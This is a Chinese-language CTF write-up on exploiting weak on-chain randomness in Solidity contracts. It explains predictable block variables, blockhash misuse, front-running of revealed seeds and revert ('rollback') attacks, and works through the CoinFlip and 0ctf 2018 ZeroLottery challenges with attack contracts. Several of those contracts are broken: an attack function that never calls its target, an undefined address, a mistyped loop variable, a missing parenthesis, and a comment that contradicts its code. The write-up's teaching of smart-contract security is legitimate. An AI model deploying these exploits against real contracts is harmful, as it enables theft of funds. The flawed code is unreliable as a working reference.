Article Summary
GPT 4

使用私有变量的伪随机数

原理

合约使用外界未知的私有变量参与随机数生成。无法通过另一合约访问,但是变量储存进 storage 之后仍然是公开的。我们可以使用区块链浏览器(如 etherscan)观察 storage 变动情况,或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值,然后计算得到随机数。

外部参与的随机数

原理

随机数由其他服务端生成。为了确保公平,服务端会先将随机数或者其种子的哈希写入合约中,然后待用户操作之后再公布哈希对应的明文值。由于明文空间有 256 位,这样的随机数生成方法相对安全。但是在明文揭露时,我们可以在状态为 pending 的交易中找到明文数据,并以更高的 gas 抢在之前完成交易确认。

使用区块变量的伪随机数

原理

EVM 有五个字节码可以获取当前区块的变量,包括 coinbase、timestamp、number、difficulty、gaslimit。

我们也可以编写攻击合约,在攻击合约中获取到相同的区块变量值,进一步用相同的算法得到随机数值。

例子
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
  • 代码处理流程为:
    • 获得上一块的 hash 值( uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));)
    • 判断与之前保存的 hash 值是否相等,相等则会退(if (lastHash == blockValue) {revert();})
    • 根据 blockValue/FACTOR 的值判断为正或负,即通过 hash 的首位判断(bool side = coinFlip == 1 ? true : false;)

如果使用可以被挖矿的矿工所控制的变量,如区块哈希值,时间戳,区块高低或是 Gas 上限等作为随机数的熵源,产生的随机数并不安全。

所以Attack

pragma solidity ^0.4.18;
contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
contract Hack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address instance=add;
CoinFlip c=CoinFlip(instance);
function attack(){
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;
    
}
}

调用10次 attack() 即可。

使用 Blockhash 的伪随机数

原理

Blockhash 是一个特殊的区块变量,EVM 只能获取到当前区块之前的 256 个区块的 blockhash (不含当前区块),对于这 256 个之外的区块返回 0。使用 blockhash 可能存在几种问题。

  1. 误用,如 block.blockhash(block.number) 恒为零。
  2. 使用过去区块的有效 blockhash ,可以编写攻击合约获取相同值。
  3. 将猜数字和开奖的交易分开在两个不同区块中,并且使用猜数字时还不知道的某个区块的 blockhash 作为熵源,则可以等待 256 个区块后再进行开奖,消除 blockhash 的不确定性。

回滚攻击

原理

在某些情况下,获取随机数可能过于困难或繁琐,这时可以考虑使用回滚攻击。回滚攻击的思想很简单:完全碰运气,输了就 “耍赖”,通过抛出异常使整个交易回滚不作数;赢的时候则不作处理,让交易被正常确认。

题目

0ctf final 2018 : ZeroLottery

Your goal is make your ZeroLottery’s balance > 500. After that, you can get the flag at http://192.168.201.18:5000/flag?wallet= page.

pragma solidity ^0.4.21;
contract ZeroLottery {
    struct SeedComponents {
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }

    uint private base = 8;

    address private owner;
    mapping (address => uint256) public balanceOf;

    function ZeroLottery() public {
        owner = msg.sender;
    }
    
    function init() public payable {
        balanceOf[msg.sender] = 100;
    }

    function seed(SeedComponents components) internal pure returns (uint) {
        uint secretSeed = uint256(keccak256(
            components.component1,
            components.component2,
            components.component3,
            components.component4
        ));
        return secretSeed;
    }
    
    function bet(uint guess) public payable {
        require(msg.value>1 ether);
        require(balanceOf[msg.sender] > 0);
        uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
        uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;

        if (guess != n) {
            balanceOf[msg.sender] = 0;
            // charge 0.5 ether for failure
            msg.sender.transfer(msg.value - 0.5 ether);
            return;
        }
        // charge 1 ether for success
        msg.sender.transfer(msg.value - 1 ether);
        balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
    }

    function paolu() public payable {
        require(msg.sender == owner);
        selfdestruct(owner);
    }

}

分析:

ZeroLottery() 定义owner;

init() 初始化余额为100;

seed() 定义生成随机数函数;

bet() 进行下注,猜对了扣除0.5,余额清零;猜对了扣除1 ether,余额加上100;

paolu() 用来销毁合约,只能合约的拥有者能调用;

本题的目标是余额为500代币。

EXP1

伪随机数攻击

block.coinbase, block.difficulty, block.gaslimit, block.timestamp来产生seed,因此区块变量是可以在本地计算出来的。

由于进行转账操作需要在攻击合约设置fallback函数

pragma solidity ^0.4.21;
contract Attack {
    uint private base = 8;
    address owner;
    address targetAddr = 0xadd;
    constructor() payable{
        owner=msg.sender;
        targetAddr.call(bytes4(keccak256("init()")));
    }//传6eth
    function() payable external{
        
    }
    
    function hack() public {
        uint secretSeed = uint256(keccak256(
            (uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp
        ));
        uint n = uint(keccak256(uint(this), secretSeed)) % base;
        
        targetAddr.call.value(1.2 ether)(bytes4(keccak256("bet(uint256)")),n);
    }
    function paolu() public payable {
        selfdestruct(owner);
    }
    function init() public {
        targetAddr.call(bytes4(keccak256("init()")));
    }
    
}

如果要求传的钱>1 ether,而且猜完最多会退1ether,因此相当于一定会退钱回我们的攻击合约,攻击五次即可。

EXP2

回滚攻击

function guess() public {
    task.bet.value(2 ether)(1);
}
function () public payable {
    require(msg.value != 1.5 ether);
}
//既然想要猜对,那么fallback函数必须要收到1.5ETH,我们可以设定一个固定的数进行尝试。

同样可以利用循环:

pragma solidity ^0.4.21;

contract Attack {
    address addr = 0x21106c363469FA680115096c2Ae757B4586C2a75;
    address owner;
    constructor() payable {
        owner = msg.sender;
        addr.call(bytes4(keccak256("init()")));
    }
    function() payable external {
        require(msg.value ==0.2 ether );
    }
    function hack(){
       for(uint conut=0;count<5;count++){
           for(uint n=0;n<8;n++){
                addr.call.value(1.2 ether (bytes4(keccak256("bet(uint256)")),n); 
            }
        }
    }
    function kill() public {
        require(owner==msg.sender);
        selfdestruct(owner);
    }
    }

既然是失败是扣0.5,成功扣1eth,那么如果回退的钱数与失败的一样,那么就抛出异常。